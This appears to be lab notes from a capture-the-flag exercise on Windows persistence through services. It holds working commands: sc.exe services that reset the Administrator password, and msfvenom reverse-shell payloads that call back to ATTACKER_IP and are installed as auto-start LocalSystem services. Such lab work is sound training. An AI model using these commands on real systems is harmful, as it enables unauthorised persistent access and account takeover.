Services are basically executables that runs in the background, make it run automatically and can define which executable will be used. Services run in background so it is easy to create persistence whenever the victim machine starts.
Two ways to create persistence using Services:
sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
And run it:
sc.exe start THMservice
Note: There must be a space after each equal sign for the command to work.Net user command will be executed when services will automatically start and reset the password to “Passwd123” - without user interaction.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe

Exploit is ready.
NOTE: You have to get the exploit to the Victim system. I used simple Python server.

sc.exe create THMservice2 binPath= "C:\Users\Administrator\rev-svc.exe" start= auto
sc.exe start THMservice2

flag7.exe
Check for existing services
sc.exe query state=all
TO query the configuration of the service running (we plan to modify)
sc.exe qc THMService3
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=5558 -f exe-service -o rev-svc2.exe
Same way previously, you have to get the exploit to the victim system. Then reconfigure the existing service THMservice3
sc.exe config THMservice3 binPath= "C:\Windows\system32\rev-svc2.exe" start= auto obj= "LocalSystem"
Keep the listener turned on on Attacker system. Start the service. Retrieve the flag8.exe
